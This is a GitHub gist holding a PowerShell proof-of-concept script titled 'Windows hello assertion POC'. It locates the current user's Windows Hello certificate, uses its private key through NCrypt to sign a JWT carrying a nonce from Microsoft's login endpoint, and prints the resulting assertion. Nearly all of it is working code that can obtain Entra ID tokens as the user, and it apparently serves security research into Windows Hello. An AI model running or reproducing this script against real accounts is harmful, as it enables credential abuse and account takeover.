Skip to content

Instantly share code, notes, and snippets.

@dirkjanm
Created July 29, 2024 09:06
Show Gist options
  • Save dirkjanm/d8576ff697ae0e28310c535c5a89b6d7 to your computer and use it in GitHub Desktop.
Save dirkjanm/d8576ff697ae0e28310c535c5a89b6d7 to your computer and use it in GitHub Desktop.
Windows hello assertion POC
# Get Hello cert
$certs = get-childitem Cert:\CurrentUser\My\ | where { $_.subject -like "*login.windows.net*" }
$cert = $certs[0];
$targetuser = $cert.Subject.Split('/')[-1]
Write-Host Found cert with $cert.Subject
$signature = @"
[DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool CertGetCertificateContextProperty(
IntPtr pCertContext,
uint dwPropId,
IntPtr pvData,
ref uint pcbData
);
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct CRYPT_KEY_PROV_INFO {
[MarshalAs(UnmanagedType.LPWStr)]
public string pwszContainerName;
[MarshalAs(UnmanagedType.LPWStr)]
public string pwszProvName;
public uint dwProvType;
public uint dwFlags;
public uint cProvParam;
public IntPtr rgProvParam;
public uint dwKeySpec;
}
public struct BCRYPT_PKCS1_PADDING_INFO {
[MarshalAs(UnmanagedType.LPWStr)]
public string pszAlgId;
}
[DllImport("ncrypt.dll", SetLastError = true)]
public static extern int NCryptOpenStorageProvider(
ref IntPtr phProvider,
[MarshalAs(UnmanagedType.LPWStr)]
string pszProviderName,
uint dwFlags
);
[DllImport("ncrypt.dll", SetLastError = true)]
public static extern int NCryptExportKey(
IntPtr hKey,
IntPtr hExportKey,
[MarshalAs(UnmanagedType.LPWStr)]
string pszBlobType,
IntPtr pParameterList,
[MarshalAs(UnmanagedType.LPArray)]
byte[] pbOutput,
int cbOutput,
ref int pcbResult,
int dwFlags
);
[DllImport("ncrypt.dll", SetLastError = true)]
public static extern int NCryptOpenKey(
IntPtr hProvider,
ref IntPtr phKey,
[MarshalAs(UnmanagedType.LPWStr)]
string pszKeyName,
uint dwLegacyKeySpec,
uint dwFlags
);
[DllImport("ncrypt.dll", SetLastError = true)]
public static extern int NCryptGetProperty(
IntPtr hObject,
[MarshalAs(UnmanagedType.LPWStr)]
string pszProperty,
byte[] pbOutput,
int cbOutput,
ref int pcbResult,
int dwFlags
);
[DllImport("ncrypt.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern int NCryptFreeObject(
IntPtr hObject
);
[DllImport("crypt32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool CryptAcquireCertificatePrivateKey(
IntPtr pCert,
int dwFlags,
IntPtr pvReserved,
ref IntPtr phCryptProv,
ref uint pdwKeySpec,
ref bool pfCallerFreeProv
);
[DllImport("ncrypt.dll", SetLastError=false)]
public static extern int NCryptSignHash(
IntPtr hKey,
IntPtr pPaddingInfo,
[MarshalAs(UnmanagedType.LPArray)]
byte[] pbHashValue,
int cbHashValue,
[MarshalAs(UnmanagedType.LPArray)]
byte[] pbSignature,
int cbSignature,
ref int pcbResult,
int dwFlags
);
[DllImport("ncrypt.dll", SetLastError=false)]
public static extern int NCryptVerifySignature(
IntPtr hKey,
IntPtr pPaddingInfo,
[MarshalAs(UnmanagedType.LPArray)]
byte[] pbHashValue,
int cbHashValue,
[MarshalAs(UnmanagedType.LPArray)]
byte[] pbSignature,
int cbSignature,
int dwFlags
);
"@
Add-Type -MemberDefinition $signature -Namespace NCrypt -Name Native
$CERT_KEY_PROV_INFO_PROP_ID = 0x2 # from Wincrypt.h header file
$pcbData = 0
[void][NCrypt.Native]::CertGetCertificateContextProperty($cert.Handle,$CERT_KEY_PROV_INFO_PROP_ID,[IntPtr]::Zero,[ref]$pcbData)
$pvData = [Runtime.InteropServices.Marshal]::AllocHGlobal($pcbData)
[NCrypt.Native]::CertGetCertificateContextProperty($cert.Handle,$CERT_KEY_PROV_INFO_PROP_ID,$pvData,[ref]$pcbData)
$keyProv = [Runtime.InteropServices.Marshal]::PtrToStructure($pvData,[type][NCrypt.Native+CRYPT_KEY_PROV_INFO])
[Runtime.InteropServices.Marshal]::FreeHGlobal($pvData)
$phProvider = [IntPtr]::Zero
[void][NCrypt.Native]::NCryptOpenStorageProvider([ref]$phProvider,$keyProv.pwszProvName,0)
$phKey = [IntPtr]::Zero
[void][NCrypt.Native]::NCryptOpenKey($phProvider,[ref]$phKey,$keyProv.pwszContainerName,0,0)
$pcbResult = 0
# call NCryptSignHash function by passing private key handle and hash data
$thing = [IntPtr]::Zero
$thing2 = [IntPtr]::Zero
[NCrypt.Native]::NCryptExportKey($phKey,$thing,"RSAPUBLICBLOB",$thing2,$null,$pcbResult,[ref]$pcbResult,0)
$thing = [IntPtr]::Zero
$thing2 = [IntPtr]::Zero
$pubkey = New-Object byte[] -ArgumentList $pcbResult
[NCrypt.Native]::NCryptExportKey($phKey,$thing,"RSAPUBLICBLOB",$thing2,$pubkey,$pubkey.length,[ref]$pcbResult,0)
# Write-Host pcbResult: $pcbResult
$hasher = [Security.Cryptography.SHA256]::Create()
[Byte[]]$hash = $hasher.ComputeHash($pubkey)
$hasher.Dispose()
$kid = [Convert]::ToBase64String($hash)
write-host KeyId: $kid
$nonce = (Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body "grant_type=srv_challenge").Nonce
$header = [Ordered]@{
typ = "JWT"
alg = "RS256"
kid = $kid
use = "ngc"
} | ConvertTo-Json
$encheader = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($header)) -replace '\+','-' -replace '/','_' -replace '='
$now = (Get-Date).ToUniversalTime()
$createDate = [Math]::Floor([decimal](Get-Date($now) -UFormat "%s"))
$expiryDate = [Math]::Floor([decimal](Get-Date($now.AddHours(2)) -UFormat "%s"))
$rawclaims = [Ordered]@{
iss = $targetuser
aud = "common"
iat = $createDate
exp = $expiryDate
scope = "openid aza ugs"
request_nonce = $nonce
} | ConvertTo-Json
$encbody = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($rawclaims)) -replace '\+','-' -replace '/','_' -replace '='
$jwt = $encheader + '.' + $encbody # The first part of the JWT
$toSign = [System.Text.Encoding]::UTF8.GetBytes($jwt)
$hasher = [Security.Cryptography.SHA256]::Create()
[Byte[]]$hash = $hasher.ComputeHash($toSign)
$hasher.Dispose()
$st = New-Object -TypeName 'NCrypt.Native+BCRYPT_PKCS1_PADDING_INFO'
$st.pszAlgId = "SHA256"
$pPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf($st));
[Runtime.InteropServices.Marshal]::StructureToPtr($st, $pPtr, $false);
$pcbResult = 0
# call NCryptSignHash function by passing private key handle and hash data
[NCrypt.Native]::NCryptSignHash($phKey,$pPtr,$hash,$hash.length,$null,$pcbResult,[ref]$pcbResult,2)
# Write-Host pcbResult: $pcbResult
$pbSignature = New-Object byte[] -ArgumentList $pcbResult
[NCrypt.Native]::NCryptSignHash($phKey,$pPtr,$hash,$hash.length,$pbSignature,$pbSignature.length,[ref]$pcbResult,2)
$sig = [Convert]::ToBase64String($pbSignature) -replace '\+','-' -replace '/','_' -replace '='
$assertion = $jwt + '.' + $sig
write-host Assertion: $assertion
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment